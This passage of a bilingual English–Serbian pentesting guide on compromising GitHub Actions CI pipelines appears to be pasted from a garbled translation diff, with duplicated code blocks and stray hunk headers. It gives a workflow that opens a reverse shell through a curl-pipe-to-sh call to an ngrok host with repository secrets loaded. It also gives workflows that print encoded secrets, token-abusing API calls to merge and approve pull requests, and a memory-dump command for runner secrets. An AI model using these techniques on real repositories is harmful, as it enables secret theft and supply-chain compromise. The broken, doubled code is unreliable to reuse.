Ovi tokeni izgledaju ovako: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Some interesting things you can do with this token:
Neke zanimljive stvari koje možete uraditi sa ovim tokenom:
{{#tabs }}
{{#tab name="Merge PR" }}
```bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Approve PR" }}
{{#tab name="Odobri PR" }}
```bash
# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Create PR" }}
{{#tab name="Kreiraj PR" }}
```bash
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
> Imajte na umu da ćete u nekoliko slučajeva moći da pronađete **github korisničke tokene unutar Github Actions envs ili u tajnama**. Ovi tokeni vam mogu dati više privilegija nad repozitorijumom i organizacijom.
<details>
<summary>List secrets in Github Action output</summary>
<summary>Lista tajni u Github Action izlazu</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>Dobijanje reverzne ljuske sa tajnama</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
Moguće je proveriti dozvole date Github Token-u u drugim korisničkim repozitorijumima **proverom logova** akcija:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Allowed Execution
## Dozvoljena Izvršenja
> [!NOTE]
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
> Ovo bi bio najlakši način da se kompromituju Github akcije, jer ovaj slučaj podrazumeva da imate pristup **kreiranju novog repozitorijuma u organizaciji**, ili imate **privilegije pisanja nad repozitorijumom**.
>
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
> Ako ste u ovom scenariju, možete samo proveriti [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
### Execution from Repo Creation
### Izvršenje iz Kreiranja Repozitorijuma
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
U slučaju da članovi organizacije mogu **kreirati nove repozitorijume** i možete izvršavati github akcije, možete **kreirati novi repozitorijum i ukrasti tajne postavljene na nivou organizacije**.
### Execution from a New Branch
### Izvršenje iz Nove Grane
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
Ako možete **kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action**, možete **modifikovati** to, **otpremiti** sadržaj, a zatim **izvršiti tu akciju iz nove grane**. Na ovaj način možete **ekstrahovati tajne na nivou repozitorijuma i organizacije** (ali morate znati kako se zovu).
Možete napraviti modifikovanu akciju izvršnom **ručno,** kada se **kreira PR** ili kada se **neki kod otpremi** (u zavisnosti od toga koliko želite da budete uočljivi):
```yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
---
## Forked Execution
> [!NOTE]
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
> Postoje različiti okidači koji bi mogli omogućiti napadaču da **izvrši Github akciju iz drugog repozitorijuma**. Ako su ti okidači loše konfigurisani, napadač bi mogao da ih kompromituje.
### `pull_request`
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
Okidač radnog toka **`pull_request`** će izvršiti radni tok svaki put kada se primi pull request uz neke izuzetke: prema zadatku, ako je to **prvi put** da **saradjujete**, neki **održavaoc** će morati da **odobri** **izvršenje** radnog toka:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
> Kako je **podrazumevano ograničenje** za **prvake** u doprinosima, mogli biste doprineti **ispravljanjem važeće greške/pravopisne greške** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**.
>
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
> **Testirao sam ovo i ne radi**: ~~Druga opcija bi bila da kreirate nalog sa imenom nekoga ko je doprineo projektu i obrisao njegov nalog.~~
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
Pored toga, prema zadatku **sprečava pisane dozvole** i **pristup tajnama** ciljanom repozitorijumu kao što je pomenuto u [**dokumentaciji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
> Sa izuzetkom `GITHUB_TOKEN`, **tajne se ne prosleđuju izvršiocu** kada se radni tok pokrene iz **forkovanog** repozitorijuma. **`GITHUB_TOKEN` ima dozvole samo za čitanje** u pull request-ima **iz forkovanih repozitorijuma**.
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
Napadač bi mogao da izmeni definiciju Github akcije kako bi izvršio proizvoljne stvari i dodao proizvoljne akcije. Međutim, neće moći da ukrade tajne ili prepiše repozitorijum zbog pomenutih ograničenja.
> [!CAUTION]
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
> **Da, ako napadač promeni u PR-u github akciju koja će biti pokrenuta, njegova Github akcija će biti ta koja će se koristiti, a ne ona iz originalnog repozitorijuma!**
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
Kako napadač takođe kontroliše kod koji se izvršava, čak i ako nema tajni ili pisanih dozvola na `GITHUB_TOKEN`, napadač bi mogao, na primer, **da otpremi zlonamerne artefakte**.
### **`pull_request_target`**
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
Okidač radnog toka **`pull_request_target`** ima **pisane dozvole** za ciljani repozitorijum i **pristup tajnama** (i ne traži dozvolu).
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Napomena: okidač radnog toka **`pull_request_target`** **izvršava se u osnovnom kontekstu** i ne u onom koji daje PR (da **ne izvršava nepouzdani kod**). Za više informacija o `pull_request_target` [**proverite dokumentaciju**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Pored toga, za više informacija o ovoj specifičnoj opasnoj upotrebi proverite ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
Može izgledati kao da je **izvršeni radni tok** onaj definisan u **osnovi** i **ne u PR-u**, pa je **sigurno** koristiti **`pull_request_target`**, ali postoje **neki slučajevi kada to nije**.
An this one will have **access to secrets**.
A ovaj će imati **pristup tajnama**.
### `workflow_run`
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
Okidač [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) omogućava pokretanje radnog toka iz drugog kada je `završen`, `tražen` ili `u toku`.
U ovom primeru, radni tok je konfiguran da se izvrši nakon što se završi odvojeni "Pokreni testove" radni tok:
```yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
workflow_run:
workflows: [Run Tests]
types:
- completed
```
Moreover, according to the docs: Workflow pokrenut događajem `workflow_run` može **pristupiti tajnama i pisati tokene, čak i ako prethodni workflow nije**.
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
Ova vrsta workflow-a može biti napadnuta ako **zavisi** od **workflow-a** koji može biti **pokrenut** od strane spoljnog korisnika putem **`pull_request`** ili **`pull_request_target`**. Nekoliko ranjivih primera može se [**pronaći u ovom blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima napadačev kod: `${{ github.event.pull_request.head.sha }}`\
Drugi se sastoji od **prosleđivanja** **artifact-a** iz **nepouzdanog** koda u **`workflow_run`** workflow i korišćenja sadržaja ovog artifact-a na način koji ga čini **ranjivim na RCE**.
### `workflow_call`
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
TODO: Proveriti da li kada se izvršava iz pull_request-a korišćeni/preuzeti kod dolazi iz originala ili iz forkovanog PR-a
## Abusing Forked Execution
## Zloupotreba Forkovane Izvršavanja
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
Pomenuli smo sve načine na koje spoljašnji napadač može uspeti da pokrene github workflow, sada hajde da pogledamo kako ove izvršavanja, ako su loše konfigurisane, mogu biti zloupotrebljene:
### Untrusted checkout execution
### Nepouzdan checkout izvršavanje
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
U slučaju **`pull_request`,** workflow će biti izvršen u **kontekstu PR-a** (tako da će izvršiti **maliciozni kod PR-a**), ali neko mora prvo da **autorizuje** i biće izvršen sa nekim [ograničenjima](./#pull_request).
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
U slučaju workflow-a koji koristi **`pull_request_target` ili `workflow_run`** koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` ili `pull_request`**, kod iz originalnog repozitorijuma će biti izvršen, tako da **napadač ne može kontrolisati izvršeni kod**.
> [!CAUTION]
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
> Međutim, ako **akcija** ima **eksplicitni PR checkout** koji će **uzeti kod iz PR-a** (a ne iz osnove), koristiće napadačev kontrolisani kod. Na primer (proverite liniju 12 gde se preuzima kod PR-a):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Pruženo samo kao primer.
on:
pull_request_target
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
<strong> - uses: actions/checkout@v2
</strong><strong> with:
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
</strong>
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Hvala!
</code></pre>
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
Potencijalno **nepouzdan kod se izvršava tokom `npm install` ili `npm build`** jer su skripte za izgradnju i referencirane **pakete pod kontrolom autora PR-a**.
> [!WARNING]
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
> Github dork za pretragu ranjivih akcija je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini za konfiguraciju poslova da se izvršavaju sigurno čak i ako je akcija konfigurisana nesigurno (kao što je korišćenje uslovnih izraza o tome ko je akter koji generiše PR).
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Kontekst Injekcije Skripti <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
Napomena da postoje određeni [**github konteksti**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) čije vrednosti su **kontrolisane** od strane **korisnika** koji kreira PR. Ako github akcija koristi te **podatke za izvršavanje bilo čega**, to može dovesti do **izvršavanja proizvoljnog koda:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **GITHUB_ENV Injekcija Skripti** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
Iz dokumenata: Možete učiniti **promenljivu okruženja dostupnom za sve naredne korake** u workflow poslu tako što ćete definisati ili ažurirati promenljivu okruženja i napisati to u **`GITHUB_ENV`** datoteku okruženja.
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
Ako bi napadač mogao **ubaciti bilo koju vrednost** unutar ove **env** promenljive, mogao bi ubaciti env promenljive koje bi mogle izvršiti kod u narednim koracima kao što su **LD_PRELOAD** ili **NODE_OPTIONS**.
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
Na primer ([**ovo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**ovo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje da je učitani artifact da čuva svoj sadržaj unutar **`GITHUB_ENV`** env promenljive. Napadač bi mogao da učita nešto poput ovoga da bi ga kompromitovao:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Vulnerable Third Party Github Actions
### Ranjive Treće Strane Github Akcije
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
Kao što je pomenuto u [**ovom blog postu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova Github Akcija omogućava pristup artifact-ima iz različitih workflow-a i čak repozitorijuma.
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
Example of vulnerable workflow:
Problem je u tome što ako **`path`** parametar nije postavljen, artifact se ekstrahuje u trenutni direktorijum i može prepisati datoteke koje bi kasnije mogle biti korišćene ili čak izvršene u workflow-u. Stoga, ako je Artifact ranjiv, napadač bi mogao da zloupotrebi ovo da kompromituje druge workflow-e koji veruju Artifact-u.
Primer ranjivog workflow-a:
```yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
```
This could be attacked with this workflow:
Ovo bi moglo biti napadnuto ovim radnim tokom:
```yaml
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
```
---
## Other External Access
## Drugi Spoljni Pristup
### Deleted Namespace Repo Hijacking
### Otimanje Izbrisanog Namespace Repozitorijuma
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
Ako nalog promeni svoje ime, drugi korisnik bi mogao da registruje nalog sa tim imenom nakon nekog vremena. Ako je repozitorijum imao **manje od 100 zvezdica pre promene imena**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repozitorijum sa istim imenom** kao onaj koji je izbrisan.
> [!CAUTION]
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
> Dakle, ako neka akcija koristi repozitorijum sa nepostojećeg naloga, još uvek je moguće da napadač može da kreira taj nalog i kompromituje akciju.
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
Ako su drugi repozitorijumi koristili **zavisnosti iz ovih korisničkih repozitorijuma**, napadač će moći da ih otme. Ovde imate potpunije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
> U ovom odeljku ćemo govoriti o tehnikama koje bi omogućile **pivotiranje sa jednog repozitorijuma na drugi**, pod pretpostavkom da imamo neku vrstu pristupa prvom (proverite prethodni odeljak).
### Cache Poisoning
### Trovanje Kešom
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
Keš se održava između **izvršavanja radnih tokova u istoj grani**. Što znači da ako napadač **kompromituje** **paket** koji se zatim čuva u kešu i **preuzima** i izvršava ga **privilegovaniji** radni tok, on će moći da **kompromituje** i taj radni tok.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
### Artifact Poisoning
### Trovanje Artefaktima
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
Radni tokovi mogu koristiti **artefakte iz drugih radnih tokova i čak repozitorijuma**, ako napadač uspe da **kompromituje** Github Akciju koja **otprema artefakt** koji se kasnije koristi od strane drugog radnog toka, on bi mogao da **kompromituje druge radne tokove**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
---
## Post Exploitation from an Action
## Post Eksploatacija iz Akcije
### Accessing AWS and GCP via OIDC
### Pristupanje AWS i GCP putem OIDC
Check the following pages:
Proverite sledeće stranice:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
### Pristupanje tajnama <a href="#accessing-secrets" id="accessing-secrets"></a>
If you are injecting content into a script it's interesting to know how you can access secrets:
Ako ubacujete sadržaj u skriptu, zanimljivo je znati kako možete pristupiti tajnama:
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
- Ako je tajna ili token postavljen na **promenljivu okruženja**, može se direktno pristupiti kroz okruženje koristeći **`printenv`**.
<details>
<summary>List secrets in Github Action output</summary>
<summary>Lista tajni u izlazu Github Akcije</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>Dobijanje reverzne ljuske sa tajnama</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- For a JavaScript actions the secrets and sent through environment variables
- ```bash
ps axe | grep node
```
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
- Ako se tajna koristi **direktno u izrazu**, generisani shell skript se čuva **na disku** i može se pristupiti.
- ```bash
cat /home/runner/work/_temp/*
```
- Za JavaScript akcije, tajne se šalju kroz promenljive okruženja.
- ```bash
ps axe | grep node
```
- Za **prilagođenu akciju**, rizik može varirati u zavisnosti od toga kako program koristi tajnu koju je dobio iz **argumenta**:
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
### Abusing Self-hosted runners
### Zloupotreba samostalno hostovanih izvršilaca
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
Način da se pronađe koje **Github Actions se izvršavaju u ne-github infrastrukturi** je pretraga za **`runs-on: self-hosted`** u konfiguraciji yaml za Github Action.
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
**Samostalno hostovani** izvršioci mogu imati pristup **dodatnim osetljivim informacijama**, drugim **mrežnim sistemima** (ranjivi krajnji tački u mreži? servis za metapodatke?) ili, čak i ako je izolovan i uništen, **više od jedne akcije može biti pokrenuto u isto vreme** i zlonamerna može **ukrasti tajne** druge.
U samostalno hostovanim izvršiocima takođe je moguće dobiti **tajne iz \_Runner.Listener**\_\*\* procesa\*\* koji će sadržati sve tajne radnih tokova u bilo kojoj fazi dumpovanjem njegove memorije:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Proverite [**ovaj post za više informacija**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker Images Registry
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
An example can be find in the following expandable:
Moguće je napraviti Github akcije koje će **izgraditi i sačuvati Docker sliku unutar Github-a**.\
Primer se može naći u sledećem proširivom:
<details>
<summary>Github Action Build &#x26; Push Docker Image</summary>
```yaml
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
